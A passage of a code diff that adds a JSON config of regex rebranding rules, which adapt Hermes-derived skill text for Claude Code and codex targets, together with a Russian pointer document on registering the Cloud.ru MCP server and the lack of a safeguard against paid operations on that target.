cmd/cloudru-vm/main.go AddCommand block, lines 53-65), `[ \\t]+` not `\\s+` so a line break is never joined, `(?:…)\\b` so `cloudru-vm deployment` and the Russian prose `cloudru-vm видны` are untouched. The mcp__ prefix double-spelling is settled by the live probe (feature README blocker 3).",
+  "forbiddenCodenames": ["hermes", "dzhechko", "cloudru-vm-cli", "captainkeys"],
+  "forbiddenHermesTokens": [
+    "tool_search",
+    "tool_describe",
+    "tool_call",
+    "hermes cron",
+    "/opt/data",
+    "SOUL",
+    "--deliver telegram",
+    "капитан"
+  ],
+  "routerMaxChars": 12000,
+  "pointerMaxChars": 2048,
+  "targets": {
+    "claude-code": {
+      "layout": "lossless",
+      "replacements": [
+        { "find": "mcp__cloudru_vm__", "flags": "g", "replace": "mcp__cloudru-vm__" },
+        { "find": "^.*tool_search.*$\\n?", "flags": "gm", "replace": "Инструменты сервера cloudru-vm видны в сессии как mcp__cloudru-vm__<имя>; Claude Code сам подгружает отложенные тулы через собственный ToolSearch — отдельный шаг поиска не нужен.\n" },
+        { "find": "^.*tool_(?:describe|call).*$\\n?", "flags": "gm", "replace": "" },
+        { "find": "hermes cron create\\s+'[^']*'", "flags": "g", "replace": "фоновый Bash (run_in_background) или /schedule" },
+        { "find": "^.*hermes cron.*$\\n?", "flags": "gm", "replace": "Для периодического поллинга используй фоновый Bash (run_in_background) или /schedule.\n" },
+        { "find": "\\s*--deliver telegram", "flags": "g", "replace": "" },
+        { "find": "^.*SOUL.*$\\n?", "flags": "gm", "replace": "" },
+        { "find": "/opt/data/cloudru", "flags": "g", "replace": "~/.cloudru-hub" },
+        { "find": "/opt/data", "flags": "g", "replace": "~/.cloudru-hub" },
+        { "find": "hermes-agent", "flags": "g", "replace": "agent-vm" },
+        { "find": "\\.hermes\\b", "flags": "g", "replace": ".cloudru-hub" },
+        { "find": "уроки Hermes ", "flags": "g", "replace": "уроки боевой эксплуатации " },
+        { "find": "так при Hermes возникли", "flags": "g", "replace": "так однажды возникли" },
+        { "find": "капитана", "flags": "g", "replace": "пользователя" },
+        { "find": "капитану", "flags": "g", "replace": "пользователю" },
+        { "find": "капитан", "flags": "g", "replace": "пользователь" },
+        { "find": "Капитан", "flags": "g", "replace": "Пользователь" },
+        { "find": "github\\.com/dzhechko/cloudru-vm-cli", "flags": "gi", "replace": "@dzhechkov/cloudru-hub" },
+        { "find": "cloudru-vm-cli", "flags": "gi", "replace": "cloudru-hub" },
+        { "find": "\\.cloudru-vm(?![\\w-])", "flags": "g", "replace": ".cloudru-hub" },
+        { "find": "\\bcloudru-vm[ \\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\b)", "flags": "g", "replace": "cloudru-hub " },
+        { "find": "\\bdzhechko\\b", "flags": "gi", "replace": "dzhechkov" },
+        { "find": "captainkeys", "flags": "gi", "replace": "user-keys" }
+      ]
+    },
+    "codex": {
+      "layout": "lossless",
+      "replacements": [
+        { "find": "^.*tool_search.*$\\n?", "flags": "gm", "replace": "MCP-тулы cloudru-vm codex деферит за собственным tool-search рантайма — отдельный шаг поиска не нужен; зови тулы по имени.\n" },
+        { "find": "^.*tool_(?:describe|call).*$\\n?", "flags": "gm", "replace": "" },
+        { "find": "hermes cron create\\s+'[^']*'", "flags": "g", "replace": "периодический повтор команды средствами вашей сессии" },
+        { "find": "^.*hermes cron.*$\\n?", "flags": "gm", "replace": "" },
+        { "find": "\\s*--deliver telegram", "flags": "g", "replace": "" },
+        { "find": "^.*SOUL.*$\\n?", "flags": "gm", "replace": "" },
+        { "find": "/opt/data/cloudru", "flags": "g", "replace": "~/.cloudru-hub" },
+        { "find": "/opt/data", "flags": "g", "replace": "~/.cloudru-hub" },
+        { "find": "hermes-agent", "flags": "g", "replace": "agent-vm" },
+        { "find": "\\.hermes\\b", "flags": "g", "replace": ".cloudru-hub" },
+        { "find": "уроки Hermes ", "flags": "g", "replace": "уроки боевой эксплуатации " },
+        { "find": "так при Hermes возникли", "flags": "g", "replace": "так однажды возникли" },
+        { "find": "капитана", "flags": "g", "replace": "пользователя" },
+        { "find": "капитану", "flags": "g", "replace": "пользователю" },
+        { "find": "капитан", "flags": "g", "replace": "пользователь" },
+        { "find": "Капитан", "flags": "g", "replace": "Пользователь" },
+        { "find": "github\\.com/dzhechko/cloudru-vm-cli", "flags": "gi", "replace": "@dzhechkov/cloudru-hub" },
+        { "find": "cloudru-vm-cli", "flags": "gi", "replace": "cloudru-hub" },
+        { "find": "\\.cloudru-vm(?![\\w-])", "flags": "g", "replace": ".cloudru-hub" },
+        { "find": "\\bcloudru-vm[ \\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\b)", "flags": "g", "replace": "cloudru-hub " },
+        { "find": "\\bdzhechko\\b", "flags": "gi", "replace": "dzhechkov" },
+        { "find": "captainkeys", "flags": "gi", "replace": "user-keys" }
+      ]
+    }
+  }
+}

package/data/pointer-section.md

@@ -0,0 +1,22 @@
+# Cloud.ru Evolution — указатель (pointer-only таргет)
+
+Этот инструмент НЕ несёт на данном таргете ни MCP-тулов Cloud.ru, ни исполняемых
+инструкций деплоя. Полная связка (MCP-сервер `cloudru-vm` на 144 тула + скилл +
+детерминированный тормоз платных шагов) доставляется только на таргеты, где её можно
+поставить честно: Claude Code (полный путь) и codex (после живого veto-probe).
+
+Что можно сделать на этом таргете вручную:
+
+1. Зарегистрируйте stdio-MCP-сервер `cloudru-vm` в конфиге ВАШЕГО инструмента сами
+   (команда запуска: `cloudru-hub mcp`; креды — env `CLOUDRU_KEY_ID`/`CLOUDRU_SECRET`).
+2. Прочитайте документацию пакета: `npx @dzhechkov/cloudru-hub --help`.
+
+⚠ ПРЕДУПРЕЖДЕНИЕ: на этом таргете НЕТ детерминированного вето платных операций
+(permission-ask / PreToolUse-хука). Любой вызов мутирующего тула (deploy, provision,
+*_create, *_delete, vm_exec, s3_put, …) создаёт или уничтожает ПЛАТНЫЕ ресурсы без
+машинного тормоза — подтверждение остаётся только на вашей дисциплине. Не подключайте
+мутирующий флоу здесь; используйте Claude Code или codex, где тормоз ставится кодом
+(ADR-004/ADR-005 feature hermes-claude-adaptation).
+
+Gemini-оговорка: проверьте доступность Gemini API для ВАШЕГО аккаунта — Россия
+отсутствует в списке доступности (ai.google.dev/available-regions, fetch 2026-08-04).